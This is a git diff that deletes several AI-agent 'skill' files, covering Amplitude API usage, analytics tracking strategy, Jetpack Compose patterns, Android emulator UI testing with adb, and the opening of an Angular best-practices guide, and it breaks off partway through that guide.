-- Use these categories to validate event_type values before sending events
-
-## Common Patterns
-
-### ID Resolution
-
-**Application user_id -> Amplitude internal ID**:
-```
-1. Call AMPLITUDE_FIND_USER with user=your_user_id
-2. Extract Amplitude's internal user ID from response
-3. Use internal ID for GET_USER_ACTIVITY
-```
-
-**Cohort name -> Cohort ID**:
-```
-1. Call AMPLITUDE_LIST_COHORTS
-2. Find cohort by name in results
-3. Extract id for cohort operations
-```
-
-### User Property Operations
-
-Amplitude IDENTIFY supports these property operations:
-- `$set`: Set property value (overwrites existing)
-- `$setOnce`: Set only if property not already set
-- `$add`: Increment numeric property
-- `$append`: Append to list property
-- `$unset`: Remove property entirely
-
-Example structure:
-```json
-{
- "user_properties": {
- "$set": {"plan": "premium", "company": "Acme"},
- "$add": {"login_count": 1}
- }
-}
-```
-
-### Async Operation Pattern
-
-For cohort membership updates:
-```
-1. Call AMPLITUDE_UPDATE_COHORT_MEMBERSHIP -> get request_id
-2. Call AMPLITUDE_CHECK_COHORT_STATUS with request_id
-3. Repeat step 2 until status is 'complete' or 'error'
-```
-
-## Known Pitfalls
-
-**User IDs**:
-- Amplitude has its own internal user IDs separate from your application's
-- FIND_USER resolves your IDs to Amplitude's internal IDs
-- GET_USER_ACTIVITY requires Amplitude's internal ID, not your user_id
-
-**Event Timestamps**:
-- Must be in milliseconds since epoch (13 digits)
-- Seconds (10 digits) will be interpreted as very old dates
-- Omitting timestamp uses server receive time
-
-**Rate Limits**:
-- Event ingestion has throughput limits per project
-- Batch events where possible to reduce API calls
-- Cohort membership updates have async processing limits
-
-**Response Parsing**:
-- Response data may be nested under `data` key
-- User activity returns events in reverse chronological order
-- Cohort lists may include archived cohorts; check status field
-- Parse defensively with fallbacks for optional fields
-
-## Quick Reference
-
-| Task | Tool Slug | Key Params |
-|------|-----------|------------|
-| Send events | AMPLITUDE_SEND_EVENTS | events (array) |
-| Find user | AMPLITUDE_FIND_USER | user |
-| Get user activity | AMPLITUDE_GET_USER_ACTIVITY | user, offset, limit |
-| Identify user | AMPLITUDE_IDENTIFY | user_id, user_properties |
-| List cohorts | AMPLITUDE_LIST_COHORTS | (none) |
-| Get cohort | AMPLITUDE_GET_COHORT | cohort_id |
-| Update cohort members | AMPLITUDE_UPDATE_COHORT_MEMBERSHIP | cohort_id, memberships |
-| Check cohort status | AMPLITUDE_CHECK_COHORT_STATUS | request_id |
-| List event categories | AMPLITUDE_GET_EVENT_CATEGORIES | (none) |
-
-## When to Use
-This skill is applicable to execute the workflow or actions described in the overview.
diff --git a/web-app/public/skills/analytics-tracking/SKILL.md b/web-app/public/skills/analytics-tracking/SKILL.md
deleted file mode 100644
index 86087f5d..00000000
--- a/web-app/public/skills/analytics-tracking/SKILL.md
+++ /dev/null
@@ -1,405 +0,0 @@
----
-name: analytics-tracking
-description: Design, audit, and improve analytics tracking systems that produce reliable, decision-ready data.
-risk: unknown
-source: community
-date_added: '2026-02-27'
----
-
-# Analytics Tracking & Measurement Strategy
-
-You are an expert in **analytics implementation and measurement design**.
-Your goal is to ensure tracking produces **trustworthy signals that directly support decisions** across marketing, product, and growth.
-
-You do **not** track everything.
-You do **not** optimize dashboards without fixing instrumentation.
-You do **not** treat GA4 numbers as truth unless validated.
-
----
-
-## Phase 0: Measurement Readiness & Signal Quality Index (Required)
-
-Before adding or changing tracking, calculate the **Measurement Readiness & Signal Quality Index**.
-
-### Purpose
-
-This index answers:
-
-> **Can this analytics setup produce reliable, decision-grade insights?**
-
-It prevents:
-
-* event sprawl
-* vanity tracking
-* misleading conversion data
-* false confidence in broken analytics
-
----
-
-## 🔢 Measurement Readiness & Signal Quality Index
-
-### Total Score: **0–100**
-
-This is a **diagnostic score**, not a performance KPI.
-
----
-
-### Scoring Categories & Weights
-
-| Category | Weight |
-| ----------------------------- | ------- |
-| Decision Alignment | 25 |
-| Event Model Clarity | 20 |
-| Data Accuracy & Integrity | 20 |
-| Conversion Definition Quality | 15 |
-| Attribution & Context | 10 |
-| Governance & Maintenance | 10 |
-| **Total** | **100** |
-
----
-
-### Category Definitions
-
-#### 1. Decision Alignment (0–25)
-
-* Clear business questions defined
-* Each tracked event maps to a decision
-* No events tracked “just in case”
-
----
-
-#### 2. Event Model Clarity (0–20)
-
-* Events represent **meaningful actions**
-* Naming conventions are consistent
-* Properties carry context, not noise
-
----
-
-#### 3. Data Accuracy & Integrity (0–20)
-
-* Events fire reliably
-* No duplication or inflation
-* Values are correct and complete
-* Cross-browser and mobile validated
-
----
-
-#### 4. Conversion Definition Quality (0–15)
-
-* Conversions represent real success
-* Conversion counting is intentional
-* Funnel stages are distinguishable
-
----
-
-#### 5. Attribution & Context (0–10)
-
-* UTMs are consistent and complete
-* Traffic source context is preserved
-* Cross-domain / cross-device handled appropriately
-
----
-
-#### 6. Governance & Maintenance (0–10)
-
-* Tracking is documented
-* Ownership is clear
-* Changes are versioned and monitored
-
----
-
-### Readiness Bands (Required)
-
-| Score | Verdict | Interpretation |
-| ------ | --------------------- | --------------------------------- |
-| 85–100 | **Measurement-Ready** | Safe to optimize and experiment |
-| 70–84 | **Usable with Gaps** | Fix issues before major decisions |
-| 55–69 | **Unreliable** | Data cannot be trusted yet |
-| <55 | **Broken** | Do not act on this data |
-
-If verdict is **Broken**, stop and recommend remediation first.
-
----
-
-## Phase 1: Context & Decision Definition
-
-(Proceed only after scoring)
-
-### 1. Business Context
-
-* What decisions will this data inform?
-* Who uses the data (marketing, product, leadership)?
-* What actions will be taken based on insights?
-
----
-
-### 2. Current State
-
-* Tools in use (GA4, GTM, Mixpanel, Amplitude, etc.)
-* Existing events and conversions
-* Known issues or distrust in data
-
----
-
-### 3. Technical & Compliance Context
-
-* Tech stack and rendering model
-* Who implements and maintains tracking
-* Privacy, consent, and regulatory constraints
-
----
-
-## Core Principles (Non-Negotiable)
-
-### 1. Track for Decisions, Not Curiosity
-
-If no decision depends on it, **don’t track it**.
-
----
-
-### 2. Start with Questions, Work Backwards
-
-Define:
-
-* What you need to know
-* What action you’ll take
-* What signal proves it
-
-Then design events.
-
----
-
-### 3. Events Represent Meaningful State Changes
-
-Avoid:
-
-* cosmetic clicks
-* redundant events
-* UI noise
-
-Prefer:
-
-* intent
-* completion
-* commitment
-
----
-
-### 4. Data Quality Beats Volume
-
-Fewer accurate events > many unreliable ones.
-
----
-
-## Event Model Design
-
-### Event Taxonomy
-
-**Navigation / Exposure**
-
-* page_view (enhanced)
-* content_viewed
-* pricing_viewed
-
-**Intent Signals**
-
-* cta_clicked
-* form_started
-* demo_requested
-
-**Completion Signals**
-
-* signup_completed
-* purchase_completed
-* subscription_changed
-
-**System / State Changes**
-
-* onboarding_completed
-* feature_activated
-* error_occurred
-
----
-
-### Event Naming Conventions
-
-**Recommended pattern:**
-
-```
-object_action[_context]
-```
-
-Examples:
-
-* signup_completed
-* pricing_viewed
-* cta_hero_clicked
-* onboarding_step_completed
-
-Rules:
-
-* lowercase
-* underscores
-* no spaces
-* no ambiguity
-
----
-
-### Event Properties (Context, Not Noise)
-
-Include:
-
-* where (page, section)
-* who (user_type, plan)
-* how (method, variant)
-
-Avoid:
-
-* PII
-* free-text fields
-* duplicated auto-properties
-
----
-
-## Conversion Strategy
-
-### What Qualifies as a Conversion
-
-A conversion must represent:
-
-* real value
-* completed intent
-* irreversible progress
-
-Examples:
-
-* signup_completed
-* purchase_completed
-* demo_booked
-
-Not conversions:
-
-* page views
-* button clicks
-* form starts
-
----
-
-### Conversion Counting Rules
-
-* Once per session vs every occurrence
-* Explicitly documented
-* Consistent across tools
-
----
-
-## GA4 & GTM (Implementation Guidance)
-
-*(Tool-specific, but optional)*
-
-* Prefer GA4 recommended events
-* Use GTM for orchestration, not logic
-* Push clean dataLayer events
-* Avoid multiple containers
-* Version every publish
-
----
-
-## UTM & Attribution Discipline
-
-### UTM Rules
-
-* lowercase only
-* consistent separators
-* documented centrally
-* never overwritten client-side
-
-UTMs exist to **explain performance**, not inflate numbers.
-
----
-
-## Validation & Debugging
-
-### Required Validation
-
-* Real-time verification
-* Duplicate detection
-* Cross-browser testing
-* Mobile testing
-* Consent-state testing
-
-### Common Failure Modes
-
-* double firing
-* missing properties
-* broken attribution
-* PII leakage
-* inflated conversions
-
----
-
-## Privacy & Compliance
-
-* Consent before tracking where required
-* Data minimization
-* User deletion support
-* Retention policies reviewed
-
-Analytics that violate trust undermine optimization.
-
----
-
-## Output Format (Required)
-
-### Measurement Strategy Summary
-
-* Measurement Readiness Index score + verdict
-* Key risks and gaps
-* Recommended remediation order
-
----
-
-### Tracking Plan
-
-| Event | Description | Properties | Trigger | Decision Supported |
-| ----- | ----------- | ---------- | ------- | ------------------ |
-
----
-
-### Conversions
-
-| Conversion | Event | Counting | Used By |
-| ---------- | ----- | -------- | ------- |
-
----
-
-### Implementation Notes
-
-* Tool-specific setup
-* Ownership
-* Validation steps
-
----
-
-## Questions to Ask (If Needed)
-
-1. What decisions depend on this data?
-2. Which metrics are currently trusted or distrusted?
-3. Who owns analytics long term?
-4. What compliance constraints apply?
-5. What tools are already in place?
-
----
-
-## Related Skills
-
-* **page-cro** – Uses this data for optimization
-* **ab-test-setup** – Requires clean conversions
-* **seo-audit** – Organic performance analysis
-* **programmatic-seo** – Scale requires reliable signals
-
----
-
-## When to Use
-This skill is applicable to execute the workflow or actions described in the overview.
diff --git a/web-app/public/skills/android-jetpack-compose-expert/SKILL.md b/web-app/public/skills/android-jetpack-compose-expert/SKILL.md
deleted file mode 100644
index 55817790..00000000
--- a/web-app/public/skills/android-jetpack-compose-expert/SKILL.md
+++ /dev/null
@@ -1,153 +0,0 @@
----
-name: android-jetpack-compose-expert
-description: "Expert guidance for building modern Android UIs with Jetpack Compose, covering state management, navigation, performance, and Material Design 3."
-risk: safe
-source: community
-date_added: "2026-02-27"
----
-
-# Android Jetpack Compose Expert
-
-## Overview
-
-A comprehensive guide for building production-quality Android applications using Jetpack Compose. This skill covers architectural patterns, state management with ViewModels, navigation type-safety, and performance optimization techniques.
-
-## When to Use This Skill
-
-- Use when starting a new Android project with Jetpack Compose.
-- Use when migrating legacy XML layouts to Compose.
-- Use when implementing complex UI state management and side effects.
-- Use when optimizing Compose performance (recomposition counts, stability).
-- Use when setting up Navigation with type safety.
-
-## Step-by-Step Guide
-
-### 1. Project Setup & Dependencies
-
-Ensure your `libs.versions.toml` includes the necessary Compose BOM and libraries.
-
-```kotlin
-[versions]
-composeBom = "2024.02.01"
-activityCompose = "1.8.2"
-
-[libraries]
-androidx-compose-bom = { group = "androidx.compose", name = "compose-bom", version.ref = "composeBom" }
-androidx-ui = { group = "androidx.compose.ui", name = "ui" }
-androidx-ui-graphics = { group = "androidx.compose.ui", name = "ui-graphics" }
-androidx-ui-tooling-preview = { group = "androidx.compose.ui", name = "ui-tooling-preview" }
-androidx-material3 = { group = "androidx.compose.material3", name = "material3" }
-androidx-activity-compose = { group = "androidx.activity", name = "activity-compose", version.ref = "activityCompose" }
-```
-
-### 2. State Management Pattern (MVI/MVVM)
-
-Use `ViewModel` with `StateFlow` to expose UI state. Avoid exposing `MutableStateFlow`.
-
-```kotlin
-// UI State Definition
-data class UserUiState(
- val isLoading: Boolean = false,
- val user: User? = null,
- val error: String? = null
-)
-
-// ViewModel
-class UserViewModel @Inject constructor(
- private val userRepository: UserRepository
-) : ViewModel() {
-
- private val _uiState = MutableStateFlow(UserUiState())
- val uiState: StateFlow = _uiState.asStateFlow()
-
- fun loadUser() {
- viewModelScope.launch {
- _uiState.update { it.copy(isLoading = true) }
- try {
- val user = userRepository.getUser()
- _uiState.update { it.copy(user = user, isLoading = false) }
- } catch (e: Exception) {
- _uiState.update { it.copy(error = e.message, isLoading = false) }
- }
- }
- }
-}
-```
-
-### 3. Creating the Screen Composable
-
-Consume the state in a "Screen" composable and pass data down to stateless components.
-
-```kotlin
-@Composable
-fun UserScreen(
- viewModel: UserViewModel = hiltViewModel()
-) {
- val uiState by viewModel.uiState.collectAsStateWithLifecycle()
-
- UserContent(
- uiState = uiState,
- onRetry = viewModel::loadUser
- )
-}
-
-@Composable
-fun UserContent(
- uiState: UserUiState,
- onRetry: () -> Unit
-) {
- Scaffold { padding ->
- Box(modifier = Modifier.padding(padding)) {
- when {
- uiState.isLoading -> CircularProgressIndicator()
- uiState.error != null -> ErrorView(uiState.error, onRetry)
- uiState.user != null -> UserProfile(uiState.user)
- }
- }
- }
-}
-```
-
-## Examples
-
-### Example 1: Type-Safe Navigation
-
-Using the new Navigation Compose Type Safety (available in recent versions).
-
-```kotlin
-// Define Destinations
-@Serializable
-object Home
-
-@Serializable
-data class Profile(val userId: String)
-
-// Setup NavHost
-@Composable
-fun AppNavHost(navController: NavHostController) {
- NavHost(navController, startDestination = Home) {
- composable {
- HomeScreen(onNavigateToProfile = { id ->
- navController.navigate(Profile(userId = id))
- })
- }
- composable { backStackEntry ->
- val profile: Profile = backStackEntry.toRoute()
- ProfileScreen(userId = profile.userId)
- }
- }
-}
-```
-
-## Best Practices
-
-- ✅ **Do:** Use `remember` and `derivedStateOf` to minimize unnecessary calculations during recomposition.
-- ✅ **Do:** Mark data classes used in UI state as `@Immutable` or `@Stable` if they contain `List` or other unstable types to enable smart recomposition skipping.
-- ✅ **Do:** Use `LaunchedEffect` for one-off side effects (like showing a Snackbar) triggered by state changes.
-- ❌ **Don't:** Perform expensive operations (like sorting a list) directly inside the Composable function body without `remember`.
-- ❌ **Don't:** Pass `ViewModel` instances down to child components. Pass only the data (state) and lambda callbacks (events).
-
-## Troubleshooting
-
-**Problem:** Infinite Recomposition loop.
-**Solution:** Check if you are creating new object instances (like `List` or `Modifier`) inside the composition without `remember`, or if you are updating state inside the composition phase instead of a side-effect or callback. Use Layout Inspector to debug recomposition counts.
diff --git a/web-app/public/skills/android_ui_verification/SKILL.md b/web-app/public/skills/android_ui_verification/SKILL.md
deleted file mode 100644
index 98511618..00000000
--- a/web-app/public/skills/android_ui_verification/SKILL.md
+++ /dev/null
@@ -1,66 +0,0 @@
----
-name: android_ui_verification
-description: Automated end-to-end UI testing and verification on an Android Emulator using ADB.
-risk: safe
-source: community
-date_added: "2026-02-28"
----
-
-# Android UI Verification Skill
-
-This skill provides a systematic approach to testing React Native applications on an Android emulator using ADB commands. It allows for autonomous interaction, state verification, and visual regression checking.
-
-## When to Use
-- Verifying UI changes in React Native or Native Android apps.
-- Autonomous debugging of layout issues or interaction bugs.
-- Ensuring feature functionality when manual testing is too slow.
-- Capturing automated screenshots for PR documentation.
-
-## 🛠 Prerequisites
-- Android Emulator running.
-- `adb` installed and in PATH.
-- Application in debug mode for logcat access.
-
-## 🚀 Workflow
-
-### 1. Device Calibration
-Before interacting, always verify the screen resolution to ensure tap coordinates are accurate.
-```bash
-adb shell wm size
-```
-*Note: Layouts are often scaled. Use the physical size returned as the base for coordinate calculations.*
-
-### 2. UI Inspection (State Discovery)
-Use the `uiautomator` dump to find the exact bounds of UI elements (buttons, inputs).
-```bash
-adb shell uiautomator dump /sdcard/view.xml && adb pull /sdcard/view.xml ./artifacts/view.xml
-```
-Search the `view.xml` for `text`, `content-desc`, or `resource-id`. The `bounds` attribute `[x1,y1][x2,y2]` defines the clickable area.
-
-### 3. Interaction Commands
-- **Tap**: `adb shell input tap ` (Use the center of the element bounds).
-- **Swipe**: `adb shell input swipe ` (Used for scrolling).
-- **Text Input**: `adb shell input text ""` (Note: Limited support for special characters).
-- **Key Events**: `adb shell input keyevent ` (e.g., 66 for Enter).
-
-### 4. Verification & Reporting
-#### Visual Verification
-Capture a screenshot after interaction to confirm UI changes.
-```bash
-adb shell screencap -p /sdcard/screen.png && adb pull /sdcard/screen.png ./artifacts/test_result.png
-```
-
-#### Analytical Verification
-Monitor the JS console logs in real-time to detect errors or log successes.
-```bash
-adb logcat -d | grep "ReactNativeJS" | tail -n 20
-```
-
-#### Cleanup
-Always store generated files in the `artifacts/` folder to satisfy project organization rules.
-
-## 💡 Best Practices
-- **Wait for Animations**: Always add a short sleep (e.g., 1-2s) between interaction and verification.
-- **Center Taps**: Calculate the arithmetic mean of `[x1,y1][x2,y2]` for the most reliable tap target.
-- **Log Markers**: Use distinct log messages in the code (e.g., `✅ Action Successful`) to make `grep` verification easy.
-- **Fail Fast**: If a `uiautomator dump` fails or doesn't find the expected text, stop and troubleshoot rather than blind-tapping.
diff --git a/web-app/public/skills/android_ui_verification/scripts/verify_ui.sh b/web-app/public/skills/android_ui_verification/scripts/verify_ui.sh
deleted file mode 100644
index f2551329..00000000
--- a/web-app/public/skills/android_ui_verification/scripts/verify_ui.sh
+++ /dev/null
@@ -1,32 +0,0 @@
-#!/bin/bash
-
-# Helper script for Android UI Verification Skill
-# Usage: ./verify_ui.sh [screenshot_name]
-
-ARTIFACTS_DIR="./artifacts"
-SCREENSHOT_NAME="${1:-latest_screen}"
-
-echo "🚀 Starting UI Verification..."
-
-# 1. Create artifacts directory if not exists
-mkdir -p "$ARTIFACTS_DIR"
-
-# 2. Get Resolution
-echo "📏 Calibrating display..."
-adb shell wm size
-
-# 3. Dump UI XML
-echo "📋 Dumping UI hierarchy..."
-adb shell uiautomator dump /sdcard/view.xml
-adb pull /sdcard/view.xml "$ARTIFACTS_DIR/view.xml"
-
-# 4. Capture Screenshot
-echo "📸 Capturing screenshot: $SCREENSHOT_NAME.png"
-adb shell screencap -p /sdcard/screen.png
-adb pull /sdcard/screen.png "$ARTIFACTS_DIR/$SCREENSHOT_NAME.png"
-
-# 5. Get Recent JS Logs
-echo "📜 Fetching recent JS logs..."
-adb logcat -d | grep "ReactNativeJS" | tail -n 20 > "$ARTIFACTS_DIR/js_logs.txt"
-
-echo "✅ Done. Artifacts saved in $ARTIFACTS_DIR"
diff --git a/web-app/public/skills/angular-best-practices/README.md b/web-app/public/skills/angular-best-practices/README.md
deleted file mode 100644
index 143a521f..00000000
--- a/web-app/public/skills/angular-best-practices/README.md
+++ /dev/null
@@ -1,58 +0,0 @@
-# Angular Best Practices
-
-Performance optimization and best practices for Angular applications optimized for AI agents and LLMs.
-
-## Overview
-
-This skill provides prioritized performance guidelines across:
-
-- **Change Detection** - OnPush strategy, Signals, Zoneless apps
-- **Async Operations** - Avoiding waterfalls, SSR preloading
-- **Bundle Optimization** - Lazy loading, `@defer`, tree-shaking
-- **Rendering Performance** - TrackBy, virtual scrolling, CDK
-- **SSR & Hydration** - Server-side rendering patterns
-- **Template Optimization** - Structural directives, pipe memoization
-- **State Management** - Efficient reactivity patterns
-- **Memory Management** - Subscription cleanup, detached refs
-
-## Structure
-
-The `SKILL.md` file is organized by priority:
-
-1. **Critical Priority** - Largest performance gains (change detection, async)
-2. **High Priority** - Significant impact (bundles, rendering)
-3. **Medium Priority** - Noticeable improvements (SSR, templates)
-4. **Low Priority** - Incremental gains (memory, cleanup)
-
-Each rule includes:
-
-- ❌ **WRONG** - What not to do
-- ✅ **CORRECT** - Recommended pattern
-- 📝 **Why** - Explanation of the impact
-
-## Quick Reference Checklist
-
-**For New Components:**
-
-- [ ] Using `ChangeDetectionStrategy.OnPush`
-- [ ] Using Signals for reactive state
-- [ ] Using `@defer` for non-critical content
-- [ ] Using `trackBy` for `*ngFor` loops
-- [ ] No subscriptions without cleanup
-
-**For Performance Reviews:**
-
-- [ ] No async waterfalls (parallel data fetching)
-- [ ] Routes lazy-loaded
-- [ ] Large libraries code-split
-- [ ] Images use `NgOptimizedImage`
-
-## Version
-
-Current version: 1.0.0 (February 2026)
-
-## References
-
-- [Angular Performance](https://angular.dev/guide/performance)
-- [Zoneless Angular](https://angular.dev/guide/zoneless)
-- [Angular SSR](https://angular.dev/guide/ssr)
diff --git a/web-app/public/skills/angular-best-practices/SKILL.md b/web-app/public/skills/angular-best-practices/SKILL.md
deleted file mode 100644
index 891fdda0..00000000
--- a/web-app/public/skills/angular-best-practices/SKILL.md
+++ /dev/null
@@ -1,563 +0,0 @@
----
-name: angular-best-practices
-description: "Angular performance optimization and best practices guide. Use when writing, reviewing, or refactoring Angular code for optimal performance, bundle size, and rendering efficiency."
-risk: safe
-source: self
-date_added: "2026-02-27"
----
-
-# Angular Best Practices
-
-Comprehensive performance optimization guide for Angular applications. Contains prioritized rules for eliminating performance bottlenecks, optimizing bundles, and improving rendering.
-
-## When to Apply
-
-Reference these guidelines when:
-
-- Writing new Angular components or pages
-- Implementing data fetching patterns
-- Reviewing code for performance issues
-- Refactoring existing Angular code
-- Optimizing bundle size or load times
-- Configuring SSR/hydration
-
----
-
-## Rule Categories by Priority
-
-| Priority | Category | Impact | Focus |
-| -------- | --------------------- | ---------- | ------------------------------- |
-| 1 | Change Detection | CRITICAL | Signals, OnPush, Zoneless |
-| 2 | Async Waterfalls | CRITICAL | RxJS patterns, SSR preloading |
-| 3 | Bundle Optimization | CRITICAL | Lazy loading, tree shaking |
-| 4 | Rendering Performance | HIGH | @defer, trackBy, virtualization |
-| 5 | Server-Side Rendering | HIGH | Hydration, prerendering |
-| 6 | Template Optimization | MEDIUM | Control flow, pipes |
-| 7 | State Management | MEDIUM | Signal patterns, selectors |
-| 8 | Memory Management | LOW-MEDIUM | Cleanup, subscriptions |
-
----
-
-## 1. Change Detection (CRITICAL)
-
-### Use OnPush Change Detection
-
-```typescript
-// CORRECT - OnPush with Signals
-@Component({
- changeDetection: ChangeDetectionStrategy.OnPush,
- template: `